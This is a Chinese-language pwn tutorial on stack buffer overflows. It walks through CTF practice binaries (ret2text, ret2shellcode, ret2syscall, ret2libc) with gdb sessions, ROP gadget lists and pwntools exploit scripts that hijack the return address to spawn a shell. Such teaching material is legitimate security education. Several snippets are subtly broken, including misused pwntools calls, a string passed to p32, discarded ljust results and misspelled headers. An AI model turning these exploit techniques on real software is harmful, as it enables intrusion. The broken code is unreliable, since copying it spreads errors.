栈溢出详解
2023-6-30 20:46:0 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

前言

我们前面讲解了二进制基础,接下来来到了我们PWN的第一课--栈溢出,下面我将结合图片以及实例进行讲解

C语言函数调用栈

esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

#include <studio.h>
int sum(int x,int y) {
    return x+y;
}
int main() {
    sum(1,2);
    return 0;
}
在以上C语言编写的函数中,main函数调用了sum函数,这里的main函数是sum函数的父函数,也是调用函数
sum函数是main函数的子函数,也是被调用函数

当main函数调用sum函数时,会将1,2逆序压入main函数的栈帧中,当sum函数执行完之后,会直接返回到sum(1,2)的下一条指令也就是return 0,压入return 0的返回地址

在sum函数调用完毕之后,sum函数的栈帧就没有用了,要恢复main函数的栈帧,所以再调用sum函数的之前就不能将main的基本信息给丢弃,先将main函数的栈顶指针压进去,也就是PUSH一个Caller's ebp

子函数的局部变量等数据压入后,子函数的栈帧形成完毕,此时ebp指向子函数的栈底,esp指向子函数的栈顶

不用清除Local Variables,这里弹出的意思就是将esp重新指向ebp就行,这样就相当于将函数调用栈的栈顶地址指向了ebp,存储原有的Local Variables的地方可以利用别的数据进行写入

esp与ebp这两个指针中间的部分也就是当前栈底的栈帧

int callee(int a,int b,int c) {
    return a+b+c;
}
int caller(void) {
    int ret;
    ret = callee(1,2,3);
    ret += 4;
    return ret;
}

ret2text

要求:

程序中有一个后门函数

int vulnerable()
{
  char buffer[8]; // [esp+8h] [ebp-10h]

  gets(buffer);
  return 0;
}

典型栈溢出

这里char 了一个buffer,也就是开辟了一个8字节的栈缓冲区供buffer使用

但是之后使用了一个gets(buffer),gets()函数没有限制字符串的长度,所以只要输入大于8个字节的字符串,就可以造成栈溢出,从而覆盖关键内存。

第一个脚本

from pwn import * #导入pwn库
io = process("./ret2text")#加载本地进程
io = remote("localhost",123)#远程连接,这里是打本地
io = recvline()#输出一行字符串
#b'Have you heard of buffer overflow\n'
io = send("")#b"sdad" 这是send字节流 p64(1) send一个整数被打包为64字节流 p32(1)同理,打包为32字节流
#io = sendline(b"asdsd") <=> io = send(b"asdsd\n")

例题

首先拿到二进制文件先checksec

Arch:
程序架构信息。判断是拖进64位IDA还是32位?exp编写时p64还是p32函数?

RELRO:
Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。
部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell
完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

gcc -o hello test.c // 默认情况下,是Partial RELRO
gcc -z norelro -o hello test.c // 关闭,即No RELRO
gcc -z lazy -o hello test.c // 部分开启,即Partial RELRO
gcc -z now -o hello test.c // 全部开启,即Full RELRO

Stack-canary

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入类似cookie的信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

gcc -fno-stack-protector -o hello test.c   //禁用栈保护
gcc -fstack-protector -o hello test.c    //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o hello test.c  //启用堆栈保护,为所有函数插入保护代码s

NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过

gcc -o  hello test.c // 默认情况下,开启NX保护
gcc -z execstack -o  hello test.c // 禁用NX保护
gcc -z noexecstack -o  hello test.c // 开启NX保护

PIE

PIE(Position-Independent Executable, 位置无关可执行文件)技术与 ASLR 技术类似,ASLR 将程序运行时的堆栈以及共享库的加载地址随机化, 而 PIE 技术则在编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定。这就意味着, 在 PIE 和 ASLR 同时开启的情况下, 攻击者将对程序的内存布局一无所知, 传统的改写
GOT 表项的方法也难以进行, 因为攻击者不能获得程序的.got 段的虚地址。
若开启一般 需在攻击时泄露地址信息

gcc -o hello test.c  // 默认情况下,不开启PIE
gcc -fpie -pie -o hello test.c  // 开启PIE,此时强度为1
gcc -fPIE -pie -o hello test.c  // 开启PIE,此时为最高强度2
(还与运行时系统ALSR设置有关)

RPATH/RUNPATH

程序运行时的环境变量,运行时所需要的共享库文件优先从该目录寻找,可以fake lib造成攻击

FORTIFY

这是一个由GCC实现的源码级别的保护机制,其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误。
简单地说,加了这个保护之后,一些敏感函数如read, fgets,memcpy, printf等等可能
导致漏洞出现的函数都会被替换成read_chk,fgets_chk, memcpy_chk, printf_chk等。
这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度,

通过检查诸如%n之类的字符串位置是否位于可能被用户修改的可写地址,
避免了格式化字符串跳过某些参数(如直接%7$x)等方式来避免漏洞出现。
开启了FORTIFY保护的程序会被checksec检出,此外,在反汇编时直接查看got表也会发现chk函数的存在
这种检查是默认不开启的,可以通过

gcc -D_FORTIFY_SOURCE=2 -O1
开启fortity检查,开启后会替换strcpy等危险函数。

IDA看一下反编译结果

main函数

setbuf(stdin,0);
setbuf(stdout,0);
#关闭标准输入输出的缓冲区

立即会输出puts(”Have you heard of buffer overflow?“)

之后再调用vulnerable()

典型最简单的栈溢出

这里也告诉你了开辟的buffer的位置
ebp-10h,也就是10进制的ebp-16,与ebp的距离为16(在内存中,ebp总是指向上一个栈的栈底的位置)

由图可知,这里buf与蓝色区域的距离为16字节
(这个可以决定栈溢出的字节长度,但是有时候也不可靠,最可靠的方式是动调)

之后就是一个puts()

return 0

进行动调找栈溢出的字节

gdb ret2text

运行程序

run
r

打断点

b *0x8048000    #断点断在0x8048000地址
b main #断点打在main函数
b main

步过

n

步进

s
r

此时执行到的这一行命令的寄存器的值

反汇编窗口

栈窗口

上面栈底,下面是栈顶,gdb中的栈与数据结构中的栈相反,上面是低地址,下面高地址

数据从上往下写

函数调用栈的关系

这里是由__libc_start_main调用了main函数

这里之前利用ida进行静态分析了一下,知道了漏洞点在vulnerable(),就一直步过找到vulnerable()

找到之后步进

s
n

先不溢出,输入8个字符

AAAAAAAA

看一下stack

stack 24

esp与ebp之间是栈帧

esp是栈顶,ebp是栈底

ebp指向的是前一个函数的ebp的值

需要攻击的位置是ebp的再往高的一个字长,就是返回地址,也就是图中画圈的位置

只要覆盖了返回地址,将返回地址改为我们想要的地址,就可以进行攻击了

回到IDA的get_shell后面函数,查看后面代码

正常来说,return 0是要回到main函数的,但是如果我们修改return的地址改为get_shell的地址,就可以getshell

0x138-0x128=16

但是ebp本身还含有4个字节

再覆盖4个字节,就可以把previous ebp也给覆盖掉

我们只要写入20个A就可以溢出到ebp,父函数的ebp给覆盖掉

0x1c-0x18=0x04=4

如果我们再写4个字节就可以将返回地址也给覆盖掉

from pwn import *
io = process("./ret2text")
io = recvline()
payload = b'A' * 16 + b'BBBB' + p32('')

这里回到IDA看get_shell的地址,可以看到起始地址为8048522

from pwn import *
io = process("./ret2text")
io.recvline()
payload = b'A' * 16 + b'BBBB' + p32('0x8048522')
io.sendline(payload)
io.interactive()

打本地成功

from pwn import *
io = remote("xx.xx.xx.xx",xxxx)
get_shell_addr = 0x8048522
payload = b'A' * 16 + b'BBBB' + p32(get_shell_addr)
io.sendline(payload)
io.interactive()

ret2shellcode

shellcode是我们自己输入的,一定要存在于缓冲区中(栈、堆、BSS)
(但是堆默认malloc到的没有可执行权限)

可以利用pwntools中的shellcraft

asm(shellcraft.sh())
#将sh的shellcode的汇编代码转为机械码
asm(shellcraft.amd64.sh())
#64位

在写shellcraft之前要写

context.arch = "amd64" #打64位的时候需要

例题:ret2shellcode

先checksec

可以看到这里NX未设置保护,而且有RWX:可读可写可执行段(非常危险)

IDA静态分析一下main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

一开始声明一个s变量

setvbuf关闭缓冲区

puts一个字符串

gets()函数存在漏洞

然后strncpy()进行复制,将s中长为0x64个字节复制到buf2中,而且buf2没在main函数里,追溯过去发现在BSS段

由于这题不存在NX,ARLX等保护,不存在随机性,在本地的地址就是远程的地址

动调一下

gdb ret2shellcode
b main
r
n

步过到gets()函数

先随便输入字符串看一下与栈底的距离

之后静态分析IDA F5看一下IDA给我们的注释

这里告诉了我们局部变量s与ebp的距离为64h,0x64

这里图中选中的区域就是0x64,也就是局部变量s与ebp的距离,此时我们如果再溢出一个字节,就能覆盖previous ebp,也就是输入0x68(0x64+0x04)的垃圾字节,之后再根据我们需要的地址再输入即可栈溢出

接着动调,我们随便输入了几个字符,之后看一下栈

这里先看一下寄存器有多远,从而确定看栈的几行

0x148-0x0c0=136

这里我用

stack 35

这里已知我们可控的地方距离ebp的地址,算一下偏移量

0x148-0x0dc=108

所以我们只要写入112(108+4 )个垃圾字节,之后再写想要的地址即可,这也就是IDA不可靠的问题

实际利用gdb动调才是正确的

先打本地

这里不像ret2text一样有后门函数了,这里需要自己构造利用shellcraft,之后利用上面给到的strncpy()函数,我们可以将shellcode写入s中,之后复制给buf2,buf2在bss段,而且之前checksec发现了BSS段RWX,可读可写可执行,所以就可以执行我们的shellcode

from pwn import *
io = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

io.sendline(shellcode.ljust(112,b'A') + p32(buf2_addr))
io.interactive()

这道题本地打不通,感觉题目问题,题目在bss段没有可执行权限,用libc打

from pwn import *
context(os='linux',arch='i386',log_level='debug')

sh = process("./pwn")
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./pwn')
puts = elf.got["puts"]
putsp = elf.plt['puts']
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080
sh.recvuntil(b'!!!\n')
#pl=shellcode.ljust(112,b'\x00') + p32(buf2_addr)
#pl=shellcode+b'\x00'*(0x64-len(shellcode)+0x8+4)+p32(0x804A080)
pl = b'a'*112 + p32(putsp) + p32(0x0804852D) + p32(puts)

sh.sendline(pl)
sh.recvuntil(b'bye bye ~')
puts_libc = u32(sh.recv(4))
libcbase = puts_libc - 0x6dc40
print(hex(libcbase))
system = libcbase + libc.sym['system']
binsh = libcbase + 0x0018e363
pl = b'a'*104 + p32(system) +b'aaaa' + p32(binsh)
gdb.attach(sh)
pause()
sh.sendline(pl)
sh.interactive()

'''
0xc9bbb execve("/bin/sh", [ebp-0x2c], esi)
constraints:
  address ebp-0x20 is writable
  ebx is the GOT address of libc
  [[ebp-0x2c]] == NULL || [ebp-0x2c] == NULL
  [esi] == NULL || esi == NULL

0x14482b execl("/bin/sh", eax)
constraints:
  ebp is the GOT address of libc
  eax == NULL

0x14482c execl("/bin/sh", [esp])
constraints:
  ebp is the GOT address of libc
  [esp] == NULL


'''

这里解释一下shellcode.ljust(),参考Python ljust()方法 | 菜鸟教程 (runoob.com)

Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。

就是一个填充的,这里我们如果将shellcode转为机器码之后小于112个垃圾字节,可以利用ljust()方法进行填充

64位下的ret2shellcode攻击

先自己常见一个a.c

#include <stido.h>
int main() {
    setvbuf(stdout, 0);
    setvbuf(stdin, 0);
    char s[100];
    printf("%p",s);//加上这一行为了运行时,查看ASLR打开后的结果
    gets(s);
    return 0;
}
gcc -o ret2stack ret2stack.c

之后checksec一下

amd64的架构,小端序,开启栈不可执行(NX)

开启canary的情况,如果在溢出的时候先遇到canary,会打开canary防护,如果溢出后原有的随机数发生变化

这里的leave前会检查canary的值,如果值发生变化程序会检测到之后强行退出程序

之后了为教学打64的shellcode,将保护关闭

#include <stido.h>
int main() {
    char str[100];
    //printf("%p",str);//加上这一行为了运行时,查看ASLR打开后的结果
    gets(str);
    return 0;
}

gcc编译,之后开始动调

64位的虚拟数据结构

地址应该是8字节,内核和用户空间之间有一段未定义的空间,需要留空间,所以是6字节,所以说和32位的原理一样

需要覆盖的垃圾字长

0xd0-0x60=112

但是要覆盖previous ebp还是要按照64的数据结构,所以要再加8字节

from pwn import *
context.arch = "amd64"
io= process("./ret2stack")
io = recv()
shellcode = asm(shellcraft.amd64.sh())
shellcode.ljust(120,b'a')
buf = 0x7fffffffe0e0
payload = shellcode + p64(buf)
io.sendline(payload)
io.interactive()

ret2syscall

这个于前几个的区别在于

无法找到一步到位调用shell的地址,需要找到多个地址从而获取shell

返回系统调用

系统调用函数的大体流程,这里以write()为例,x86架构

会先向eax传入一个系统调用号

eax = 0x4
ebx //传第一个参数
ecx //传第二个参数
edx //传第三个参数
//用mov指令进行传参

之后系统调用号和传进去的三个参数全都放入正确的值后,系统执行

int 0x80

之后完成系统调用

正常来说我们利用C语言写入的函数会被动态链接库封装成为汇编代码以便系统使用

可以利用ldd命令查看可执行文件的动态链接库以及软链接

参考(110条消息) “ldd”命令详解_ldd命令_f_carey的博客-CSDN博客

system("/bin/sh")相当于是以下汇编代码步骤的一个封装

mov eax,0xb //eax保存系统调用号,需要根据用的函数从而查询系统调用号,execve的系统调用号是11,也就是0xb
mov ebx,["/bin/sh"] //参数
mov ecx,0 //参数
mov edx,0 //参数
int 0x80 //这里的int是中断号,0x80代表的是系统调用 
=>execve("/bin/sh",NULL,NULL)

标红的部分是溢出数据

右边代码段中标黄的部分就是一个个的gadget

将这些gadget连续执行即可形成我们的payload

ret其实也就是pop eip

这里通过栈溢出覆盖了返回地址,之后执行ret

相当于把0x08052318这个地址中保存的值pop到eip中,eip就会再跳转到这个地址所保存的值的指向位置

也就是执行

pop %edx;ret;

然后esp寄存器再返回到高一字节的地址

此时gadget来到了pop %edx;ret;的位置,

0x0c0c地址里的数据存放在了edx中,同时ESP继续向高地址移动(pop %edx)

这是此时ESP的位置

之后进行ret,相当于又是一次pop eip(ret)

之后又是将0x0809951f地址中的数据pop到eip中,这其实也就是从上一个gadget跳转到下一个gadget的过程

刚刚eip指向的是0x0809951f的地址,之后会执行其中的代码

先是一个xor %eax,%eax 其实就是相当于%eax=0

之后再ret,相当于pop eip,将0x080788c1地址指向eip,进行下一条gadget

这里我们执行0x0807地址的指令

将eax中的值赋值给edx(因为在eax,edx前加了%,如果是正常英特尔情况下,是将后者的数值赋值给前者)(mov %eax,(%ebx))

之后再ret,将0x41414141地址指向eip,(ret)

由此看出,如果gadget结尾是由ret结尾的,那么我们可以通过栈溢出的方式控制其返回地址,实现一直ret到我们想要的地址,从而进行控制数据

整体看一下

做一下例题ret2syscall

首先看一下保护

checksec ret2syscall

可以发现是一个x86架构32位的二进制文件,

no canary就可以进行栈溢出

打开了栈不可执行,没法直接写shellcode

再拖进ida里反编译一下

先找找有没有现成的后门函数

之后再shift+F12查找一下有没有后门参数,例如/bin/sh

现在后门参数有了,就是要进一步寻找如何构造后门函数(execve其实和system用法差不多,所以我们可以利用execve,不过需要找到其系统调用号)

进入main函数,看一下C语言编译结果

可以看到main函数有一个gets()所以可以进行栈溢出

所以思路也就是有了,可以利用ROP构造出

ROPgadget --binary ret2syscall --only('pop|ret')

这里展示一部分获得的gadget

0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809d7b2 : pop ds ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d5 : pop ebp ; pop esi ; pop edi ; ret
0x0804838e : pop ebp ; ret
0x080a9a45 : pop ebp ; ret 0x10
0x08096a29 : pop ebp ; ret 0x14
0x08070d76 : pop ebp ; ret 0xc
0x0804854a : pop ebp ; ret 4
0x08049c00 : pop ebp ; ret 8
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0804838d : pop edi ; pop ebp ; ret
0x080a9a44 : pop edi ; pop ebp ; ret 0x10
0x08096a28 : pop edi ; pop ebp ; ret 0x14
0x08070d75 : pop edi ; pop ebp ; ret 0xc
0x08048549 : pop edi ; pop ebp ; ret 4
0x08049bff : pop edi ; pop ebp ; ret 8
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0805c508 : pop edi ; pop esi ; ret
0x0804846f : pop edi ; ret
0x08049a1b : pop edi ; ret 4
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080671ea : pop es ; pop edi ; ret
0x0806742a : pop es ; ret
0x08092259 : pop esi ; pop ebp ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x0804838c : pop esi ; pop edi ; pop ebp ; ret
0x080a9a43 : pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a27 : pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d74 : pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048548 : pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfe : pop esi ; pop edi ; pop ebp ; ret 8
0x0804846e : pop esi ; pop edi ; ret
0x08049a1a : pop esi ; pop edi ; ret 4
0x08049a95 : pop esi ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

我们要先获得eax的gadget

0x080bb196 : pop eax ; ret

发现上述gadget符合我们的要求,以ret为结尾

再找edx存储我们的数据,再找ebx,ecx赋值为0

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这里找了一个比较符合的gadget,这里其实就是分别执行

pop edx
pop ecx
pop ebx

再找之前我们已知的后门参数/bin/sh的地址,利用IDA

.rodata:080BE408 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

也可以利用ROPgadget

ROPgadget --binary ret2syscall --string '/bin/sh'

最后找int 80

ROPgadget --binary ret2syscall --only "int"
0x08049421 : int 0x80

这里其实已经具备ROP部分了,现在来看栈溢出

可以看到我们输入的字符存储在eax的0xffffd0ec地址,要想栈溢出需要覆盖到ebp的0xffffd158,然后ebp自身还有4字节的长度,所以要写入112个的垃圾字节

这里说一下如何查看eax中的execve的系统调用号

cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep "execve"

十进制的11,也就是16进制的0xb

编写exp

from pwn import *

io = process('./ret2syscall')

pop_eax_ret_addr=0x080bb196
pop_edx_ecx_ebx_addr=0x0806eb90
int_80=0x08049421
bin_sh_addr=0x080be408

payload=flat([b'A'*112,pop_eax_ret_addr,0xb,pop_edx_ecx_ebx_addr,0,0,bin_sh_addr,int_80])
#利用flat()将一系列数据打包成二进制格式的字符串
#相当于payload=b'A'*112+p32(pop_eax_ret_addr)+p32(0xb)+p32(pop_edx_ecx_ebx_addr)+p32(0)+p32(0)+p32(bin_sh_addr)+p32(int_80) 不知道这一长串为什么不行,栈平衡的问题

io.sendline(payload)
io.interactive()

下面exp也是和上面相同思路

from pwn import *

io = process('./ret2syscall')

pop_eax_ret_addr=0x080bb196
pop_edx_addr=0x0806eb6a
pop_ecx_ebx_addr=0x0806eb91
int_80=0x08049421
bin_sh_addr=0x080be408

payload=b'A'*112+p32(pop_eax_ret_addr)+p32(0xb)+p32(pop_ecx_ebx_addr)+p32(0)+p32(bin_sh_addr)+p32(pop_edx_addr)+p32(0)+p32(int_80)

io.sendline(payload)
io.interactive()

这里大体了解了一下什么是栈平衡,之后再继续深入学习

动态链接过程

动态链接在装载的时候才为用户可见,静态链接在链接的时候就可以获取

这里分别gcc编译一下,看一下动态链接和静态链接的区别

gcc -fno-pie --static -o statest test.c
gcc -fno-pie -o dyntest test.c

可以发现一个利用动态链接,一个利用静态链接的大小差别明显,运行效果一模一样

用IDA静态分析一下

这是利用动态链接的gcc编译后的程序

这是静态链接的gcc编译后的程序

静态链接的代码中的函数都要保存在程序内部,运行时从自身进行调用,静态链接程序中有很多指令片段

这里gdb看一下动态链接编译的dyntest

主要看一下这一部分,这里是此程序调用的动态链接库。

举个例子,这里libc-2.28.so里就存放着main函数中puts()真正实现的代码,注意这里是将整个libc放进去,不是只放入libc中的puts()

在程序ELF的code段会有plt的节,里面的代码是用来解析存放例如puts()真实地址,之后存入data段中got.plt的节

.got保存的全局的变量地址
.got.plt保存的是全局的函数真实地址

首次调用foo时,首先先jmp到got.plt表中的foo表项

但是由于第一次调用foo,got.plt中的foo表项是空,所以又回到plt中,使得plt中的foo知道接下来要寻找foo函数的真实地址,并填入got.plt,再跳转到真实地址,也就是下图

push index,其实就是push了foo的索引,也就是push 3,也就是此时要解析的是表项中的第几个外部函数

这里就是一个简单的跳转到PLT0表

push *(GOT+4),这是push了GOT+4里的内容,这是表示我要从哪个动态链接库找到使用的函数

之后jmp *(GOT+8),jump到GOT+8的位置

进入了dl_resolve这个函数

经过call_fix_up函数之后,这里的got.plt表中的foo表项是真正的在libc中的foo函数的地址

进程第二次调用foo

此时已经知道了foo的真实地址,这里也不用第一次调用foo时候的返回了,直接就可以跳转到foo的真实地址

这里实例演示一下

#include <stdio.h>
int main(){
    int x = 0;
    puts("fist!");

    int a = 1;
    puts("second");
    printf("once");
    exit(0);
}
gcc -fno-pie -g -o link dyntest.c

之后gdb调试一下

x/20 0x401030

这里可以看到plt表项一共有16个字节,里面记录了puts相关所需要用到的解析的代码

这里利用IDA看一下我们编译后的程序

这些标有LOAD的部分是用作程序装入内存的控制信息的部分

.init这些节,是用来记录初始化代码的节

这里是plt节,可以看到IDA用虚线分别给我们划分了各个字段的plt节,这里其实通过看地址的长度,也能看出来plt表的长度为16字节

这里我们看一下plt表项内容

push 0
jmp sub_401020

这里其实也就对应了上面的

push index
jmp PLT0

这里是got.plt节,这里也能知道puts等外部函数在libc中的真实地址(没有开启pie保护)

回到gdb进行动调,看一下got

可以看出存储的数据为ELF文件对应的代码段,其实这里也就说明了上面的

当未调用外部函数,发现没有真实地址,会返回plt的值

之后步过一下

再看一下plt和got

这里发现调用过的puts()函数,got表的表项里填入了puts()函数的真实地址

这里我们查看一下这个地址

x/20x 0x7ffff7e65910

看一下反汇编

disass 0x7ffff7e65910

再进行步过(printf("once"))

这里由于又调用了一次puts()所以是没有变化的

再进行步过(exit(0))

got表中的表项printf()存储真实地址

这里学习了gdb中的backtrace用法->反应了函数调用栈的顺序

比如当前的my_puts()是由main()调用的

main()函数是由_libc__csu_init()调用的

ret2libc

左边是ret2shellcode的一种新的解法,一般远程服务器都开启ASLR保护,所以我们很难获取可以返回shellcode的地址

可以利用nop滑梯(nop这个指令没有用,系统看到nop指令会直接不管继续执行下一条指令,所以我们如果在shellcode的高地址写入大量的nop指令,然后之后返回地址写到差不多的位置,这样系统会一直执行nop指令,直到执行到shellcode)

这里详细给出了子函数与父函数的栈帧划分,这里以previous ebp作为划分

这也就解释了为什么system函数与/bin/sh参数之间为什么system往上第二个字长为参数

向上第一个字长是返回地址,参数为第二个字长可以将其压入ebp

同样的,其他ROP也是往上第二个字长写入参数

当ret之后,system相当于被pop到eip中

之后system自己的代码会再压入一个ebp

在x86下正常的函数调用栈

这里的被调函数(callee)是system,在system自身内部代码,第一步是push ebp

(所以说,要看被调函数的自身代码)

接下来就是system的Local Variavlbes

"/bin/sh" 相当于上图的arg1,也就是我们的参数位置

这里的exit()与system()同理,所以说这一段ROP就是

system("/bin/sh")
exit(0)

如果连续调用多个函数,

先ret system,之后system自身有pop ebp,之后和上面一样

之后pop_ret将system的参数pop

将puts() ret

与上方同理了,这里ret了puts()

puts()自身代码有push ebp指令,就和system()一样了

例题一:ret2libc1

首先checksec一下

没有canary,没有pie,完全可以进行栈溢出

再file看一下,动态链接

IDA静态分析一下,看一下有没有后门函数(就找一些系统中本来不存在的函数)

这里通过查找后门函数secure(),发现为我们提供了system()这个后门函数,但是我们不知道system()函数在libc的真实地址

但是在程序中只要调用了system()函数,在plt段的表项一定会有system()

(执行[email protected]和执行system()其实是一样的效果的)

这其实就是我们最终payload的结构

首先gdb动调看一下栈溢出的字长

加上ebp自身字节长,垃圾字长为112

之后查看system()的plt字段地址,可以利用pwntools查看

from pwn import *
io = process("./ret2libc1")
elf = ELF("./ret2libc1")
sys_plt_addr = elf.plt["system"]
print(sys_plt_addr)

再利用ROPgadget查一下/bin/sh的地址

ROPgadget --binary ret2libc1 --string "/bin/sh"

exp:

from pwn import *

io=process("./ret2libc1")
elf = ELF("./ret2libc1")
print(elf.plt["system"])
sys_plt_addr=0x8048460
binsh_addr =0x08048720
payload=b'A'*112 +p32(sys_plt_addr)+b'a'*4+p32(binsh_addr)
#payload=flat([b'A'*112,sys_plt_addr,b'a'*4,binsh_addr])
io.sendline(payload)
io.interactive()

例题二 ret2libc2

首先checksec检查保护

IDA分析一下

ROPgadget搜不到/bin/sh了,所以需要我们自己写入

(一般是通过BSS段,因为BSS段地址确定且可写)->需要借助可进行读写的函数引用写入参数

这里发现BSS段为变量buf2开辟了缓存区,所以我们可以利用buf2写入参数,现在要找可以进行读写的函数

这里我选用的已有的gets()

exp:

from pwn import *

io = process("./ret2libc2")
elf =ELF("./ret2libc2")
#sys_plt_addr = elf.plt["system"]
#print(sys_plt_addr)
#0x8048490
sys_plt_addr = 0x8048490
#buf2_addr = elf.symbols["buf2"]  利用elf.symbols[]获取bss段地址
#print(buf2_addr)
#0x804a080
buf2_addr=0x804a080
#gets_addr=elf.plt["gets"]
#print(gets_addr)
#0x8048460
gets_addr=0x8048460

payload=b'A'*112+p32(gets_addr)+p32(sys_plt_addr)+p32(buf2_addr)+p32(buf2_addr)

io.sendline(payload)
io.interactive()

其实用pwndgb能更好的看plt地址

第二种是第一种的复杂写法,可以参考上面的多次调用函数的结构,用完即扔

exp:

from pwn import *

io = process("./ret2libc2")
elf = ELF("./ret2libc2")
sys_plt_addr = 0x8048490
buf2_addr=0x804a080
gets_addr=0x8048460
pop_ebx_ret_addr=0x0804843d #这里是利用ROPgadget找了一下只有pop ebx;ret;

payload=b'A'*112 + p32(gets_addr)+p32(pop_ebx_ret_addr)+p32(buf2_addr)+p32(sys_plt_addr)+b'b'*4+p32(buf2_addr)

io.sendline(payload)
io.interactive()

例题三:ret2libc3

没有可读可写可执行,所以不能ret2shellcode打法

IDA静态分析一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  _DWORD *v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 0xAu);
  v8 = (_DWORD *)strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 0x100u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}

C 库函数 – fflush() | 菜鸟教程 (runoob.com)

C 库函数 – strtol() | 菜鸟教程 (runoob.com)

可以画一下图分析一下main栈帧的Local variables,分析一下栈溢出的位置

经过分析,可以发现在main函数中不存在可以进行栈溢出利用的函数,再看下引用的函数

int __cdecl See_something(_DWORD *a1)
{
  return printf("The content of the address : %p\n", *a1);
}

这里引用的See_something()就是一个将我们输入的字符串转为地址

int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h]

  strcpy(&dest, src);
  return printf("Your message is : %s", &dest);
}

结合图像我们看一下,这里我们dest与ebp的距离为0x38,但是我们利用strcpy()函数

将src的值复制给dest,src是在main函数中被定义开辟了0x100的大小,远远大于dest中的0x38的大小,从而实现栈溢出

接下来就是构造我们的payload

首先看一下有没有现成的后门函数和后门参数

看一下plt段有哪些函数可以直接使用

有一个read(),我们看一下是否可以利用read()写入后门参数

可以看到,bss没有被定义的变量可以使用,所以不能像ret2libc2一样利用gets(),read()自己写入/bin/sh

再看一下got表

